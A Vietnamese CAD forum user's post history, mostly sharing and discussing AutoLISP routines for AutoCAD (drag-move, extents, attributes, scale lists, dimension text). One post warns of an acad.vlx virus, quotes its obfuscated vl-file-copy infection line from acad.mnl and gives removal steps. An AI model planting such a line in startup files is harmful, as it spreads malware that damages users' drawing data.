-
Số lượng nội dung
905 -
Đã tham gia
-
Lần ghé thăm cuối
-
Ngày trúng
29
Bài đăng được đăng bởi Thaistreetz
-
-
lấy list đối tượng rồi sau đó xóa đi đã có point thì chắc là được. ý tưởng hay đấy, giải quyết được vấn đề bắt điểm triệt để lun. mình quên mất là có thể làm cách này.
còn dùng undo mark chắc chắn là không ổn rồi. nếu ta pan hoặc zoom trong quá trình drag, khi undo lại chắc chắn màn hình sẽ bị nhảy. vả lại cách này không hay :D
-
bỏ hàm vlax-ename->vla-object đi. lỗi ở tất cả các hàm vlax-curve trong code trên chứ không fải chỉ riêng (vlax-curve-getParamAtPoint obj cen) bởi
đối số của các hàm vlax-curve là ename, không fải là vla-object
-
- không thể dùng command vì khi ta enter mà không pick điểm đối tượng sẽ bay lung tung, không trả đối tượng về vị trí cũ, không nắm được quy luật ketxu ạ
- khi mình test lisp này trên máy của mình. nếu dùng acet-ss-drag cho tập hợp gồm nhiều loại đối tượng thì nó hiển thị rất kém trong quá trình drag, một số đối tượng không hiển thị được, với bản vẽ nặng thì nó giật giật rất ngứa mắt. còn nếu dùng lisp trên thì ổn hơn.
-
Có lẽ các bác tuệ không còn hứng thú với mấy hàm drag nên mình viết lại vậy.
(acet-ss-drag-move <selection-set> <base-pt> [<prompt>] [<hilight> [<cursor>]]): trong đó các đối số trong ngoặc vuông [...] là không bắt buộc
- Prompt: dòng nhắc khi chọn điểm.
- hilight : T hoặc nil. nếu T thì hàm sẽ vẽ 1 vector từ điểm base-pt đến vị trí con trỏ.
- cursor: hình dạng con trỏ., 1-không hiện sợi tóc; 2-sợi tóc hình vuông (pickbox); giá trị khác hoặc nil thì con trỏ ở trạng thái bình thường.
Đây là hàm mình viết lại. Có thể truy bắt điểm bình thường.
(defun Cv:ss-drag-move ( ss pt prm highlight cursor flag / *error* er escape get-osnap cursor osmode snap p1 p2 p3 gr dk kc objlst) (defun escape (msg / ) (redraw) (if flag (mapcar '(lambda (x) (vl-catch-all-apply 'vla-delete (list x))) objlst) (mapcar '(lambda (x) (vla-move x p1 (vlax-3d-point pt))) objlst)) (setq *error* er)) (defun get-osnap (osmode / snap osmode) (setq snap "") (if (> osmode 16384) (while (> osmode 0) (cond ((>= osmode 8192) (setq osmode (- osmode 8192) snap (strcat snap "_par,"))) ((>= osmode 4096) (setq osmode (- osmode 4096) snap (strcat snap "_ext,"))) ((>= osmode 2048) (setq osmode (- osmode 2048) snap (strcat snap "_app,"))) ((>= osmode 1024) (setq osmode (- osmode 1024) snap (strcat snap ""))) ((>= osmode 512) (setq osmode (- osmode 512) snap (strcat snap "_nea,"))) ((>= osmode 256) (setq osmode (- osmode 256) snap (strcat snap "_tan,"))) ((>= osmode 128) (setq osmode (- osmode 128) snap (strcat snap "_per,"))) ((>= osmode 64) (setq osmode (- osmode 64) snap (strcat snap "_ins,"))) ((>= osmode 32) (setq osmode (- osmode 32) snap (strcat snap "_int,"))) ((>= osmode 16) (setq osmode (- osmode 16) snap (strcat snap "_qua,"))) ((>= osmode 8) (setq osmode (- osmode 8) snap (strcat snap "_nod,"))) ((>= osmode 4) (setq osmode (- osmode 4) snap (strcat snap "_cen,"))) ((>= osmode 2) (setq osmode (- osmode 2) snap (strcat snap "_mid,"))) ((>= osmode 1) (setq osmode (- osmode 1) snap (strcat snap "_end,")))))) snap) (setq er *error* *error* escape) (if ss (progn (setq dk T p1 (vlax-3d-point pt) objlst (CV:ss-to-list ss t)) (if (not (eq (type cursor) 'INT)) (setq cursor 0)) (if flag (mapcar 'vla-copy objLst)) (if prm (prompt prm)) (while dk (if (not (= (getvar "osmode") osmode)) (setq osmode (getvar "osmode") snap (get-osnap osmode))) (setq gr (grread 't 14 cursor)) (cond ((= (car gr) 5) (redraw) (if (setq p2 (osnap (cadr gr) snap)) (grvecs (list 2 (polar p2 0.785398 (setq kc (* 9 (Cv:pixel-unit)))) (polar p2 -2.356194 kc) (polar p2 2.356194 kc) (polar p2 -0.785398 kc))) (setq p2 (cadr gr))) (if highlight (grdraw pt p2 8)) (setq p3 (vlax-3d-point p2)) (mapcar '(lambda (x) (vla-move x p1 p3)) objlst) (setq p1 p3)) ((= (car gr) 3) (setq dk (redraw)) (if flag (mapcar '(lambda (x) (vl-catch-all-apply 'vla-delete (list x))) objlst) (mapcar '(lambda (x) (vla-move x p1 (vlax-3d-point pt))) objlst)) p2) ((= (car gr) 25) (command "dsettings")) ((equal gr '(2 6)) (if (= (setvar "osmode" (+ (if (< (getvar "osmode") 16384) 16384 -16384) (getvar "osmode"))) 0) (command "dsettings"))) ((or (equal gr '(2 32)) (equal gr '(2 13))) (if flag (mapcar '(lambda (x) (vl-catch-all-apply 'vla-delete (list x))) objlst) (mapcar '(lambda (x) (vla-move x p1 (vlax-3d-point pt))) objlst)) (setq dk (redraw))))))))
so với hàm acet thì mình thêm vào 1 đối số cuối cùng. đối số này bằng T hoặc nil. cho phép có hiển thị đối tượng gốc trong quá trình drag hay không. thực tế tất cả những lần mình sử dụng acet-ss-drag mình đều phải sử dụng kèm với hàm acet-ss-draw để ẩn đi đối tượng gốc. việc thêm chức năng này vào hàm sẽ tránh được bất tiện đó.
để sử dụng hàm này các bạn phải load 2 hàm CV:ss-to-list và Cv:pixel-units đã có trong topic này.
Test:
(CV:ss-drag-move (ssget) (getpoint) "Chon diem move: " t 1 nil)
(CV:ss-drag-move (ssget) (getpoint) "Chon diem move: " nil 2 t)
- Nhược điểm so với acet: không trả về nil khi nhấn Esc (cái này mình thất bại rồi :(); hiển thị ký hiệu bắt điểm không giống cad được như acet, (mấy cái hình vuông, tam giác, x màu vàng ấy...). nếu điểm base-pt nằm trên chính đối tượng drag thì khi drag sẽ hơi giật giật do nó tự bắt điểm với chính nó.
- Ưu điểm: nhanh và mượt mà hơn Acet nhiều. Acet làm việc với số lượng đối tượng lớn 1 chút là lag luôn. (cái này mình cũng hơi bất ngờ :D)
bật-tắt chế độ bắt điểm trong khi drag bằng cách gõ F (hoặc F2 hay Ctrl+F theo thói quen) bình thường. chuột phải để thay đổi chế độ bắt điểm.
-
1
-
-
- ACET-SS-Drag-move + rotate có trong Lib nào Ketxu ơi!
Tue_NV không thấy Lib nào có ACET-SS-Drag-move + rotate cả????
Nếu có thể Ketxu cho Tue_NV xin cái Link có hàm Lisp viết lại hàm ACET-SS-Drag-move + rotate .
Thanks
Link đây bác. trong đó Lee mac có viết 1 hàm gần giống acet-ss-drag-move. Nhưng nó viết chưa triệt để, chưa giải quyết được vấn đề bắt điểm (do hạn chế của hàm grread) và trả về lỗi khi người dùng nhấn Esc mà không chọn điểm.
Nếu bác còn hứng thú với hàm này thì em gợi ý bác chỉnh sửa luôn code của nó 1 chút cho nhanh:
- kết hợp hàm osnap và biến hệ thống osmode để giải quyết được vấn đề bắt điểm (nếu bác thích thì có thể dùng thêm hàm grvecs để mô tả chế độ bắt điểm cho nó chuyên nghiệp)
- định nghĩa lại biến *error* giải quyết vấn đề người dùng Esc để hàm có thể trả về nil.
giải quyết đươc 2 vấn đề trên thì ta có 1 hàm gần như giống hoàn toàn acet-ss-drag-move.
-
1
-
-
Có thể viết lại 3 hàm SS-Drag của acet bằng autolisp. chỉ khác 1 chút ở chế độ bắt điểm không được ngon như acet nhưng dùng được. bác sử dụng mấy hàm dưới khéo léo 1 chút là viết được thôi: Grread, redraw, osnap, grvecs và biến *error*. em đã viết 1 ứng dụng kiểu này nhưng không viết thành hàm con nên chưa post được.
-
Mình tính làm thế rồi. nhưng vì làm thế thì lại fải thêm 1 bước sử lý điểm 3D thành 2D (hàm Cv:geom-ss-extents-fast trả về tọa độ điểm 3D) mà hàm vla-ZoomWindow thì không chơi 3D. như thế bước này vô nghĩa quá!
-
Mấy hàm extents hay dùng hình như chưa ai viết thì fải. mod ketxu chả chịu cập nhật tất cả các hàm đã viết lên #1 để anh em tiên theo dõi gì cả.

1. (ACET-ENT-GEOMEXTENTS ename) và (ACET-GEOM-EXTENTS ename): 2 hàm này giống hệt nhau, trả về 2 điểm Bottom Left và Top Right của đối tượng (chả hiểu bọn tây nó viết 2 hàm này khác nhau cái gì nữa)
(defun Cv:geoem-extents (en / LB RT) (if en (progn (vla-getboundingbox (vlax-ename->vla-object en) 'LB 'RT) (list (vlax-safearray->list LB) (vlax-safearray->list RT)))))
2. (ACET-GEOM-SS-EXTENTS-FAST ss): trả về 2 điểm Bottom Left và Top Right của tập hợp đối tượng (selection set). 2 hàm tương tự nó nữa là ACET-GEOM-SS-EXTENTS và ACET-GEOM-SS-EXTENTS-ACCURATE, 2 hàm này có thêm 1 đối số nữa dạng number hoặc để nil. mới đầu mình tưởng là hệ số offset nhưng ko fải, chưa hiểu là để làm gì.
(defun Cv:geom-ss-extents-fast (ss / i ssl lstx lsty lstz LB RT) (if ss (progn (setq i -1 ssl (sslength ss)) (while (< (setq i (1+ i)) ssl) (vla-getboundingbox (vlax-ename->vla-object (ssname ss i)) 'LB 'RT) (setq lstx (cons (car (setq LB (vlax-safearray->list LB))) lstx) lstx (cons (car (setq RT (vlax-safearray->list RT))) lstx) lsty (cons (cadr LB) lsty) lsty (cons (cadr RT) lsty) lstz (cons (caddr LB) lstz) lstz (cons (caddr RT) lstz))) (list (list (apply 'min lstx) (apply 'min lsty) (apply 'min lstz)) (list (apply 'max lstx) (apply 'max lsty) (apply 'max lstz))))))
3. (ACET-SS-ZOOM-EXTENTS ss) : zoom đến tập hợp đối tượng (selection set)
(defun Cv:ss-zoom-extents (ss / box lstx lsty) (if ss (progn (setq i -1 ssl (sslength ss)) (while (< (setq i (1+ i)) ssl) (vla-getboundingbox (vlax-ename->vla-object (ssname ss i)) 'LB 'RT) (setq lstx (cons (car (setq LB (vlax-safearray->list LB))) lstx) lstx (cons (car (setq RT (vlax-safearray->list RT))) lstx) lsty (cons (cadr LB) lsty) lsty (cons (cadr RT) lsty))) (vla-ZoomWindow (vlax-get-acad-object) (vlax-3d-point (list (apply 'min lstx) (apply 'min lsty))) (vlax-3d-point (list (apply 'max lstx) (apply 'max lsty)))))))
3 code trên mình định cho thêm hệ số offset vào để dùng cho linh động nhưng lại thôi. để thế này cho nó giống bạn ACET
-
1
-
-
mình có 1 Safearray chứ dữ liệu 3D point. làm thế nào để chuyển nó thành 2D mà không cần chuyển nó về list để xử lý? kết quả không có phần tử thứ 3 (không có tọa độ z) chứ không fải là giá trị của phần tử thứ 3 = 0 (tọa độ z = 0) nhé.
-
Mình có thể delete hoặc Add thêm những tỉ lệ như mong muốn sau khi reset được mà?

Vì mỗi lần bạn reset thì cái danh sách kia lại xổ ra cả 1 đống tỷ lệ ko sử dụng, lại fải mất công xóa. nếu cứ để nguyên thế mà sử dụng, mỗi lần thay đổi tỷ lệ (bằng cách pick chuột vào khay status bar) sẽ rất rối mắt. nên mới dùng lisp trên để reset cho đỡ vất vả.
Và ý của mình là mình không cách chi thay đổi được cái danh sách mặc định kia. để nó thu ngắn lại mỗi lần nhấn nút reset :)
Cách của ketxu đâu có thay đổi được gì nhỉ. nó cũng chỉ đơn thuần là lệnh ScaleListEdit thôi mà.
-
Cảm ơn các bác. đúng là 1 lúc ngâm cứu code của bác Gia Bách thì thấy chuẩn luôn rồi. mình hồ đồ quá :P
(defun c:fg (/ lst) (ssget '((0 . "INSERT"))) (setq tag "a") (vlax-for Obj (vla-get-ActiveSelectionSet *document*) (setq lst (append (vlax-invoke obj 'GetAttributes) lst))) (vl-remove-if-not '(lambda (x) (and x (= tag (vla-get-TagString x)))) lst))
Mình có 1 chút thắc mắc nữa chưa tìm được lời giải:
mới đầu mình dùng code này để lấy list att : (vlax-safearray->list (vlax-variant-value (vla-getattributes obj)))
tuy nhiên nó không khả thi vì lúc thì nó lấy được, lúc thì nó báo lỗi tại hàm vlax-variant-value, nội dung như thế này:
error: ActiveX Server returned an error: Invalid index
thế là sao nhỉ?
-
hix. các bác hiểu ngược ý của mình rồi.
trong ví dụ của bác Hà và bác Gia Bách thì từ object ta lấy ra giá trị của đối tượng.
còn nhu cầu của mình là ngược lại:
mình có vla-object của đối tượng chính là block. block đó chứa các đối tượng att. từ tag của att mình muốn lấy vla-object của chính nó thôi (mục đích để xử lý cho các bước tiếp theo ấy mà)
1 cách tương đương thì mình có ename của 1 đối tượng block insert. và mình muốn lấy ename của đối tượng con của nó có tag "a". nhưng vì đang xử lý trên vla-object nên không muốn chuyển về ename, cho đỡ lằng nhằng ý mà.
-
Các bác giúp mình với:
- Mình có vla-object name của đối tượng block insert chứa một số attribute, tag là "a" "b" "c"... chẳng hạn.
giờ mình muốn lấy vla-object name của thằng ku "a" thì làm thế nào? mình ngại chuyển về ename nên không muốn dùng cách này.
- mở rộng hơn, mình có ActiveSelectionSet là tập hợp của các block trên:
(ssget '((0 . "INSERT")))
(vla-get-ActiveSelectionSet *document*)
giờ mình muốn có code ngắn nhất để lấy được danh sách (list) vla-object của tất cả đối tượng con có tag là "a"
-
Khi vẽ với nhiều tỷ lệ trên 1 bản vẽ, sau 1 thời gian danh sách tỷ lệ vẽ dầy lên, điều này khiến cho cad chậm đi 1 chút. vẽ có cảm giác ì ì. khi đó chúng ta thường dùng lệnh ScaleListEdit rồi reset danh sách tỷ lệ lại theo mặc định của cad. tuy nhiên danh sách này cung cấp rất nhiều tỷ lệ mà chúng ta không dùng đến.
Vì không có cách chi để can thiệp vào danh sách mặc định này để thay đổi nó nên mình viết lisp này để thiết lập lại danh sách tỷ lệ theo nhu cầu của người dùng.
(defun c:ars (/ dic lst en) (setq lst '("1:1" "1:10" "1:15" "1:20" "1:25" "1:50" "1:75" "1:100" "1:200" "1:500" "1:1000")) (if (setq dic (dictsearch(namedobjdict) "ACAD_SCALELIST")) (foreach x dic (if (and (= 350 (car x)) (not (member (cdr (assoc 300 (entget (setq en (cdr x))))) lst))) (entdel en)))) (princ)) (c:ars)- Các bạn chỉ việc add lisp này vào startup suite là mỗi lần mở bản vẽ, cad sẽ thiết lập danh sách các tỷ lệ vẽ thường dùng cho bạn. lâu lâu muốn reset lại danh sách cho nhẹ bản vẽ thì gõ lệnh ARS.
- Tùy theo nhu cầu, người dùng có thể tự chỉnh sửa danh sách tỷ lệ trong code trên cho phù hợp.
PS: Chỉ dùng cho các bản cad 2008 trở lên (tất nhiên là thế rồi :D)
-
3
-
-
sorry bác Hà. Do ko đọc bài gốc của bác nên tưởng bác muốn chỉnh sửa text của Dim.
Còn nếu chỉ để lấy text của dim thì chỉ cần lấy giá trị dxf 1 của thằng Mtext (đối tượng con của dim) rồi bỏ đi 5 ký tự đầu đi là được. sao phải lằng nhằng gì nữa nhỉ? Như mình nói ở trên. giá trị dxf 1 của đối tượng Mtext luôn theo giá trị dxf 1 của dim
-
thì nó chỉ đơn giản như vậy thôi mà bác.
(defun c:df (/ en res)
(entmod (subst (cons 1 "chuoi sua <>m") (assoc 1 (setq res (entget (setq en (car(entsel "chon dim"))) '("*")))) res))
(entupd en))
nếu cần chắc ăn thì bác entmod luôn giá trị dxf 1 đối tượng con Mtext của dim (nhưng mình thử bỏ qua bước này vẫn được. nó tự động thay đổi giá trị theo mã dxf 1 của đối tượng chính)
-
Có lẽ bản chất đã hiểu và giải pháp cũng đã có. Thank tất cả!
P/S: giải pháp của tôi là như code kèm theo. Các bác xem hay/dỡ chỗ nào để tiếp thu.
Mình đã từng gặp vấn đề này rồi. và mình chỉ cần chỉnh sửa mỗi dxf 1 là ok. vì dim là đối tượng fức nên thêm hàm entupd nữa.
PS: sửa giá trị của dim thì chỉ cần sửa giá trị dxf 1 của đối tượng chính, muốn giữ nguyên giá trị dim thì thêm vào chuỗi sửa 2 ký tự <> làm tiền tố hay hậu tố hay ở giữa chuỗi sửa thì tùy. mã dxf 42 kệ nó. áp dụng với tất cả các loại dim.
-
mình cũng mò mẫm topic ấy cả tối nhưng chẳng thu được gì. Cũng bởi chữ "Interface" mà lại lấy từ acad-object nên mình đoán có thể nó liên quan gì đó đến giao diện của autocad nên rất tò mò :D
-
Mình tìm thấy đoạn code này của Ketxu ở topic này
(vla-getinterfaceobject (vlax-get-acad-object) (strcat "AutoCAD.AcCmColor." (substr (getvar "acadver") 1 2)))
thấy cái interfaceObject này lạ lạ nên copy về mò mẫm nhưng chỉ thu được ít ỏi thông tin thế này.

Ketxu hay bác nào rành về thằng interfaceObject này cho mình xin tí thông tin về nó với
- nó là cái gì?
- ta có thể thu được thông tin gì từ nó?
- hàm trên của ketxu lấy được thông tin gì vây?
-
Mình mới bị nhiễm 1 loại virus cad mới là acad.vlx
Con này sẽ phá hoại dữ liệu mở rộng (xdata) của mọi đối tượng (tạm thời thì mình mới chỉ biết thiệt hại là như thế). nên phạm vi ảnh hưởng của nó là rất lớn.
đoạn code lây nhiễm của nó được tìm thấy trong file C:\Documents and Settings\User name\Application Data\Autodesk\AutoCAD 2010\R18.0\enu\Support\acad.mnl như sau:
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
lần theo code này thì nguồn lây nhiễm của nó là file C:\Program Files\AutoCAD 2010\Help\logo.gif
Vì vậy bác nào có bj dính con này thì cách khắc phục nó như sau:
- tìm và xóa tất cả file acad.vlx trong máy
- xóa file C:\Program Files\AutoCAD 2010\Help\logo.gif
- xá file C:\Documents and Settings\User name\Application Data\Autodesk\AutoCAD 2010\R18.0\enu\Support\acad.mnl
các đoạn tô màu đỏ tùy theo user và phiên bản cad bạn đang sử dụng.
Hi vọng bác Hoành sớm cập nhật phiên bản mới của CAV để xử thằng này.
-
1
-
-
mún đẹp thì dùng reshack mà thay ảnh của bạn vô, ngắm cả ngày hông chán :D
-
1, Cái thằng nentselp này mình chưa thạo lắm,, để lấy được list các att mình mới chỉ biết cách dùng vòng lặp với hàm entnext. Cái hàm vlax-dump-object thì nó trả kết quả ra màn hình nên chưa biết cách lấy giá trị từ hàm này ngoài cách vlax-get-property....
2, Dùng ssget với các đối tượng phụ từ hàm nentsel mình không rõ có được hay không.
1. Nentsel dùng giống như entsel nhưng cho phép chọn tới tận đối tượng con của đối tượng phức tại điểm pick
Nentselp nếu không có tham số hoặc chỉ có tham số string thì nó giống hệt Nentsel, nếu có thêm 1 tham số nữa sau tham số string mô tả 1 tọa độ 1 điểm (P) thì hàm không chờ người dùng pick chuột nữa. nó trả về ename của đối tượng được tìm thấy tại điểm P và tọa độ điểm P. nếu không tìm thấy đối tượng nào trả về nil.
Có thể thấy (entsel) và (nentsel) là 1 cặp thì tương đương với nó là cặp hàm (ssget point) và (nentselp point)
2. không được bác ạ :)
-
1
-
-
Ví dụ hàm độc nào và tại sao phải sử dụng nó bác ơi ?
acet-sys-shift-down chẳng hạn. mình rất khoái dùng em nó nhưng không viết lại được. dùng thằng này để rẽ nhánh chương trình thì sướng thôi rồi, giảm bớt được tên lệnh, tăng cường tính linh hoạt cho 1 lệnh. giống như 1 số lệnh của cad ấy (lệnh trim hay extend là 1 ví dụ)
mình thử sử dụng grread để viết lại nó nhưng chịu thua. hàm grread chỉ nhận các phím ký tự của bàn phím. không nhận các phím điều khiển mới đau
-
Bác Hà chưa hiểu bản chất của vấn đề rồi. sở dĩ lệnh cl bác post ở trên có thể được gọi lại bởi vì ta có hàm (defun c:cl...) nó định nghĩa cho cad hiểu CL là 1 lệnh. như thế nó cũng giống như bao nhiêu lệnh lisp thông thường khác.
Còn lisp offset bên trên không định nghĩa 1 lệnh cụ thể. nó chỉ hướng dẫn cho cad phải ứng xử như thế nào khi gặp 1 lệnh mà nó không hiểu (unknow command) có dạng 0*.
Mặc định cad không gọi lại 1 unknow command mà chỉ gọi lệnh cuối cùng mà nó hiểu khi người dùng nhấn enter (space) mà không nhập tên lệnh.
Hỏi về Lisp (thuật toán, ý tưởng, coding,...)
trong AutoLisp
Đã đăng · Trả lời báo cáo
Vậy thì đây là 1 trường hợp khó hiểu. lỗi do hàm (vlax-curve-getParamAtPoint obj cen) trả về nil => cen không nằm trên curve.
test lại bằng cách bắt điểm trực tiếp vào midpoint vẫn trả về nil: (vlax-curve-getParamAtPoint (car (entsel)) (osnap (getpoint) "_mid")) => trung điểm của đường thẳng này không nằm trên chính nó. ????????
Nếu dùng chuột kéo đầu hoặc đít của line đó qua chỗ khác thì lại trả về kết quả bình thường, mình nghĩ bạn có thể sử dụng code này bình thường bởi lẽ trường hợp đặc biệt như line này rất hiếm gặp. tôi có viết 1 chương trình rải taluy bình đồ, mỗi lần dùng nó vẽ ra cả nghìn đối tượng cũng chưa thấy gặp lỗi này bao giờ nên có thể an tâm.